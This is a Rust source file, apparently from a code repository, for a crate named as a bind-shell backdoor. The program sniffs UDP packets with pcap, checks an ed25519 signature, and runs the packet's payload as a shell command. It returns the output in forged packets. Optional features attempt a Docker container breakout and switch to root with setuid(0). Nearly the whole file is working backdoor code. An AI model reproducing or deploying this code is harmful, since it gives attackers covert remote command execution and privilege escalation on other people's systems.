2023-12-05 00:27:02 -05:00

325 lines
9.6 KiB
Rust

use std::os::unix::ffi::OsStrExt;
use std::process::Stdio;
use std::{ffi::OsStr, sync::Arc};
use anyhow::{anyhow, bail, Context};
use ed25519_dalek::{PublicKey, Signature, Verifier};
use pcap_sys::{self, packets::EthernetPacket};
use tokio::{self, io::AsyncReadExt, process, sync::mpsc};
use tokio_stream::StreamExt;
use ex_bind_shell_key_generator::PUBKEY;
#[cfg(feature = "docker-breakout")]
extern "C" {
fn breakout(err_loc: *mut i32) -> i32;
}
#[tokio::main]
async fn main() -> anyhow::Result<()> {
if let Err(e) = handled_main().await {
log::error!("{:?}", e);
}
Ok(())
}
async fn handled_main() -> anyhow::Result<()> {
simple_logger::SimpleLogger::new()
.with_level(log::LevelFilter::Off)
.with_module_level("ex_bind_shell_backdoor", log::LevelFilter::Error)
.init()?;
let pubkey =
Arc::new(PublicKey::from_bytes(PUBKEY).context("could not parse generated public key")?);
log::info!("Pubkey is good");
let port = std::env::args()
.skip(1)
.next()
.and_then(|a| a.parse::<u16>().ok())
.unwrap_or(54248);
#[cfg(feature = "docker-breakout")]
unsafe {
let mut err_loc: i32 = 0;
let result = breakout(&mut err_loc as *mut _);
let errno = std::io::Error::last_os_error();
if result != 0 {
if err_loc == 1 {
log::warn!("Docker breakout was unsuccessful! pidfd_open error: {errno:?}");
} else if err_loc == 2 {
log::warn!("Docker breakout was unsuccessful! setns error: {errno:?}");
} else {
log::warn!("Docker breakout was unsuccessful, and error location is unknown! {err_loc}, {result}");
}
} else {
log::info!("Docker breakout was successful!");
}
}
let mut interfaces = pcap_sys::PcapDevIterator::new()?;
let interface_name = interfaces
.find(|eth| eth.starts_with("eth") || eth.starts_with("en"))
.ok_or(anyhow!("Could not get an ethernet interface"))?;
log::info!("Attaching to interface {}", &interface_name);
let mut interface = pcap_sys::Interface::<pcap_sys::DevDisabled>::new(&interface_name)?;
interface.set_buffer_size(8192)?;
interface.set_non_blocking(true)?;
interface.set_promisc(false)?;
interface.set_timeout(10)?;
let mut interface = interface.activate()?;
interface.set_filter(&format!("inbound and udp port {port}"), true, None)?;
if interface.datalink() != pcap_sys::consts::DLT_EN10MB {
bail!("interface does not support ethernet")
}
enum EventType {
Packet(Result<EthernetPacket, pcap_sys::error::Error>),
Send(EthernetPacket),
Exit,
}
let mut packets = interface.stream()?;
let (packet_sender, mut packets_to_send) = mpsc::channel(64);
let (exit_sender, mut exit_handler) = mpsc::channel(1);
while let Some(evt) = tokio::select! {
v = packets.next() => v.map(EventType::Packet),
v = packets_to_send.recv() => v.map(EventType::Send),
v = exit_handler.recv() => v.map(|_| EventType::Exit)
} {
match evt {
EventType::Packet(pkt) => {
if let Ok(pkt) = pkt {
let packet_sender_clone = packet_sender.clone();
let exit_sender_clone = exit_sender.clone();
let pubkey_clone = pubkey.clone();
tokio::spawn(async move {
if let Err(e) = handle_command(
pubkey_clone,
pkt,
packet_sender_clone,
exit_sender_clone,
)
.await
{
log::warn!("Error handling packet: {e}");
}
});
}
}
EventType::Send(pkt) => {
packets.sendpacket(pkt.pkt())?;
}
EventType::Exit => {
break;
}
}
}
Ok(())
}
async fn handle_command(
pubkey: Arc<PublicKey>,
eth: EthernetPacket,
send_response: mpsc::Sender<EthernetPacket>,
send_exit: mpsc::Sender<()>,
) -> anyhow::Result<()> {
use pcap_sys::packets::*;
let eth_pkt = eth.pkt();
let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()? else {
return Ok(());
};
let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else {
todo!()
};
let source_port = udp_pkt.srcport();
let error_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, 255]);
let error_ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(error_udp_packet),
);
let error_eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(error_ip_packet),
);
let data = udp_pkt.get_data();
if data.len() < 65 {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("Packet was too short")
}
let Ok(signature): Result<[u8; 64], _> = data[..64].try_into() else {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("could not get signature from command")
};
let signature = Signature::from(signature);
let cmd = &data[64..];
if let Err(e) = pubkey.verify(cmd, &signature) {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
return Err(e).context("message provided was unauthenticated");
}
let cmd = OsStr::from_bytes(cmd);
log::info!("Received command to execute: {cmd:?}");
let cmd_str = std::str::from_utf8(cmd.as_bytes());
match cmd_str.map(|c| c.split(" ").collect::<Vec<_>>()).as_deref() {
#[cfg(not(feature = "no-exit"))]
Ok(["exit"]) => {
let _ = send_exit.send(()).await;
return Ok(());
}
Ok(["cd", dir]) => {
std::env::set_current_dir(dir)?;
return Ok(());
}
_ => {}
}
#[cfg(feature = "setuid")]
let current_id = unsafe {
let id = libc::getuid();
libc::setuid(0);
id
};
let Ok(mut child) = (process::Command::new("sh")
.arg("-c")
.arg(cmd)
.env("TERM", "screen")
.stdin(Stdio::null())
.stdout(Stdio::piped())
.stderr(Stdio::piped()))
.spawn() else {
if let Err(e) = send_response.send(error_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
bail!("could not spawn child")
};
{
let stdout = match &mut child.stdout {
Some(ref mut stdout) => stdout,
None => bail!("could not get child process stdout"),
};
let stderr = match &mut child.stderr {
Some(ref mut stderr) => stderr,
None => bail!("could not get child process stderr"),
};
enum Output {
Out,
Err,
}
let mut stdout_buffer = [0u8; 1024];
let mut stderr_buffer = [0u8; 1024];
loop {
let (out_type, Ok(len)) = tokio::select! {
v = stdout.read(&mut stdout_buffer[..]) => (Output::Out, v),
v = stderr.read(&mut stderr_buffer[..]) => (Output::Err, v)
} else {
continue;
};
if len == 0 {
break;
}
let msg = &match out_type {
Output::Err => stderr_buffer,
Output::Out => stdout_buffer,
}[..len];
let fullmsg = &[
match out_type {
Output::Out => &[1],
Output::Err => &[2],
},
msg,
]
.concat();
let udp_packet = UDPPacket::construct(54248, source_port, &**fullmsg);
let ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(udp_packet),
);
let eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(ip_packet),
);
if let Err(e) = send_response.send(eth_packet).await {
log::warn!("Could not send response packet: {e:?}");
}
}
}
let exit_code = child
.wait()
.await
.map(|s| s.code())
.ok()
.flatten()
.unwrap_or(255)
.try_into()
.unwrap();
#[cfg(feature = "setuid")]
if current_id != 0 {
unsafe { libc::setuid(current_id) };
}
let done_udp_packet = UDPPacket::construct(54248, source_port, *&[0u8, exit_code]);
let done_ip_packet = IPv4Packet::construct(
ip_pkt.dest_ip(),
ip_pkt.source_ip(),
&Layer4Packet::UDP(done_udp_packet),
);
let done_eth_packet = EthernetPacket::construct(
*eth_pkt.destination_address(),
*eth_pkt.source_address(),
&Layer3Packet::IPv4(done_ip_packet),
);
if let Err(e) = send_response.send(done_eth_packet.clone()).await {
log::warn!("Could not send command done packet: {e:?}");
}
log::info!("Done executing command {cmd:?}");
Ok(())
}